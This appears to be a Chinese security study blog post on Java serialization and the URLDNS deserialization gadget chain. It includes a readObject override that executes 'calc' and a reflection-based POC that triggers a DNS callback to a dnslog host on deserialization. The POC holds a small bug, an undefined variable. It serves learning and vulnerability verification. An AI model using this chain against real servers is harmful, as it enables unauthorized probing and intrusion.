Java反序列化基础-01

drun1baby大佬学习

0x01序列化和反序列化

1.什么是序列化和反序列化?

Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;

2.为什么要序列化?

对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时候就需要序列化技术。Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久化的目的。

3.几种创建的序列化和反序列化协议

XML&SOAP
JSON
Protobuf

0x02ObjectOutputStream 与 ObjectInputStream类

1.ObjectOutputStream类

java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
1.该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会使任何状态序列化或反序列化,会抛出 NotSerializableException 。
2.该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态的,使用transient 关键字修饰。

2.ObjectInputStream类

如果能找到一个对象的class文件,我们可以进行反序列化操作,调用 ObjectInputStream 读取对象的方法:打印结果:反序列化操作就是从二进制文件中提取对象

0x03序列化与反序列化代码实现

1.这边直接提供代码

01.类文件:Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Serialize;

import java.io.Serializable;

public class Person implements Serializable {

private String name;
private int age;

public Person(){

}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

02.序列化文件 SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package Serialize;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}

03.反序列化文件 UnserializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package Serialize;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

我们可以先跑一下研究这些代码起到了什么作用

Run SerializationTest.java

image-20240730172120694

Run UnserializationTest.java

image-20240730172146054

序列化是为了什么?传输数据把对象转换成字符串

SerializationTest.java

1
2
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
oos.writeObject(obj);

这里我们将代码进行了封装,将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。

UnserializeTest.java

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
Object obj = ois.readObject();

反序列化刚刚的数据

2.Serializable 接口

01.序列化类的属性没有实现 Serializable 那么在序列化就会报错

只有实现 了Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)。

Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。

1
2
public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。

image-20240730173839184

02.在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象

03.一个实现 Serializable 接口的子类也是可以被序列化的。

04.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

05.transient 标识的对象成员变量不参与序列化

我们可以利用上面实例代码来尝试一下将 Person.java 中的name加上transient的类型标识。加完之后再跑我们的序列化与反序列化的两个程序

Person.java

image-20240730175042229

SerializationTest.java

image-20240730175121428

UnserializeTest.java

image-20240730175141071

最后结果变成了

1
Person{name='null', age=22}

0x04 为什么会产生序列化的安全问题

1.反序列化漏洞的基本原理

在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,赋予攻击者在服务器上运行代码的能力。

2.可能存在安全漏洞的形式

01.入口类的 readObject直接调用危险方法

这种情况,在实际开发场景中并不特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码

image-20240730180612936

1
2
3
4
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

先运行序列化程序 ———— “SerializationTest.java“,再运行反序列化程序 ———— “UnserializeTest.java

这时候就会弹出计算器,当然也可以弹出其他启动程序,是不是帅的飞起🍔。

这是黑客最理想的情况,但是这种情况几乎不会出现。

02.入口参数中包含可控类,该类有危险方法,readObject 时调用

03.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

04.构造函数/静态代码块等类加载时隐式执行

3. 产生漏洞的攻击路线

01.前言

首先的攻击前提:继承 Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink(RCE SSRF 写文件等等)比如exec这种函数

02.以 HashMap 为例说明,如何找到入门类

Map是一个集合,本质上还是数组,HashMap是Map的子接口。该集合的结构为key—>value,两个一起称为一个Entry(jdk7),在jdk8中底层的数组为Node[]。当new HashMap()时,在jdk7中会直接创建一个长度为16的数组;jdk8中并不直接创建,而是在调用put方法时才去创建一个长度为16的数组。
hashmap作为入口类。反序列化的入口类就是jdk中经常被使用的类,继承了Serialize接口,具备readObject方法,调用一些类和该类中的某种方法(方法中可以直接或者间接调用危险函数)。

利用过程

image-20240730213045349

我们可以先在某个文件写一个HashMap

1
//vscode中查看内置类是直接右键选择转到定义就行了

有人可能发现自己的这个大纲为啥不显示HashMap的结构,就像IDEA一样,其实是可以开启的

让我们继续,其实可以直接搜索readObject

image-20240730232643157

往下分析

image-20240730232657467

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

Key 与 Value 的值执行了 readObject 的操作,再将 Key 和 Value 两个变量扔进 hash 这个方法里,我们再跟进(对准方法右键转到定义,或者直接F12) hash 。

image-20240730233722582

若传入的参数 key 不为空,则 h = key.hashCode(),于是乎,继续跟进 hashCode 当中。

hashCode 位置处于 Object 类当中,满足我们 调用常见的函数 这一条件。

1
Object类是Java类层次结构的根,也是所有Java类的父类。这个类提供了一些通用方法,可以在任何Java对象中使用,这些方法可用于比较、克隆、打印对象等。

03.URLDNS链分析

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。
HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

image-20240730230416666

ysoserial 对 URLDNS 的利用链看着无比简单,就这么几行代码。

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

开始自己复现一遍 URLDNS 的利用链。

URL 是由 HashMap 的 put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了 hash方法;hash方法则是调用了 hashcode这一函数。

image-20240730231215031

image-20240730231231073

我们看到这个 hashCode 函数的变量名是 key;那这个 key 是啥啊?
其实~就是我们前面分析HashMap时发现的

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

原来是hash这一方法传进的参数!

这里如果hash()里边传入了一个对象的话就会调用这个hashCode()进行利用,那就继续找一下哪里使用了hashCode。结合URLDNS.java

image-20240731001054870

我们跟进一下URL的定义

在左边大纲直接寻找hashCode方法,URL 中的hashCodehandler这一对象所调用,handler又是 URLStreamHandler的抽象类。我们再去跟进找URLStreamHandlerhashCode方法。

终于找到了,这个用于 URLDNS 的方法——getHostAddress

再跟进getHostAddress

这⾥InetAddress.getByName(host)的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。

所以,⾄此,整个 URLDNS 的Gadget其实就很清晰了

1
2
3
4
5
6
7
8
9
10
11
HashMap->readObject()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

04.复现过程

SerializationTest.java 文件下添加如下代码

1
2
3
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();   
hashmap.put(new URL("DNS生成的URL,用dnslog或者bp都可以"),1);
serialize(hashmap);

image-20240731005347051

我们注意到在序列化的时候就已经可以收到请求了,那我们有没有办法让他序列化的时候不发送请求,反序列化再发送?

我们继续去看代码逻辑,看看能不能尝试改变掉

我们回到 URL 这个对象,回到hashCode这里。

我们发现,当 hashCode的值不等于 -1 的时候,函数就会直接return hashCode而不执行hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode的值为 -1,便是发起了请求。

所以我们在没有反序列化的情况下,就收到了 DNS 请求,这不是我们想要的

1
2
3
4
5
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); 
//这里不要发起请求
hashmap.put(new URL("DNS生成的URL,用dnslog或者bp都可以"),1);
//这里把hashCode改为-1,通过反射技术改变已有对象属性
serialize(hashmap);

反射再说篇幅就太长了

先看看POC吧

05-1URLDNS 反序列化利用链的 POC

根据我们的思路,将 Main 函数进行修改,我这里直接全部挂出来了,不然师傅们容易看错。

SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{  
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://fjtfim.dnslog.cn");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,zhang);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}

意外情况出现

在进行操作的时候发现竟然会报错

image-20240731021401928

用了IDEA还是报错什么情况???

大概意思是缺少包,去搜索了一下貌似JDK-8也就是1.8的版本是可以用的这里如果用的是VsCode但是你的环境变量设的又是JDK-17那么你可以看看这个文章,但是还是要有JDK-8

https://www.cnblogs.com/qun-/p/18098226

博主的设置是

1
2
3
4
5
6
7
,"java.configuration.runtimes": [
{
"name": "JavaSE-1.8",
"path": "C:\\Program Files\\Java\\jdk1.8.0_202",
"default": true
}
]

如果用的是IDEA的话

在这直接改版本就行了

05-2继续复现

反序列化的文件无需更改

接着我们运行序列化文件,发现序列化的时候确实收不到了

image-20240731024453156

而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。

image-20240731024527506

0x05鸣谢

https://xz.aliyun.com/t/13060?time__1311=GqmhBK4GxRhx%2FWNiQo47IL80WDkKUAeD#toc-14

https://drun1baby.top/2022/05/17/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-01-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%88%A9%E7%94%A8/#URLDNS-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%E7%9A%84-POC

http://dnslog.cn/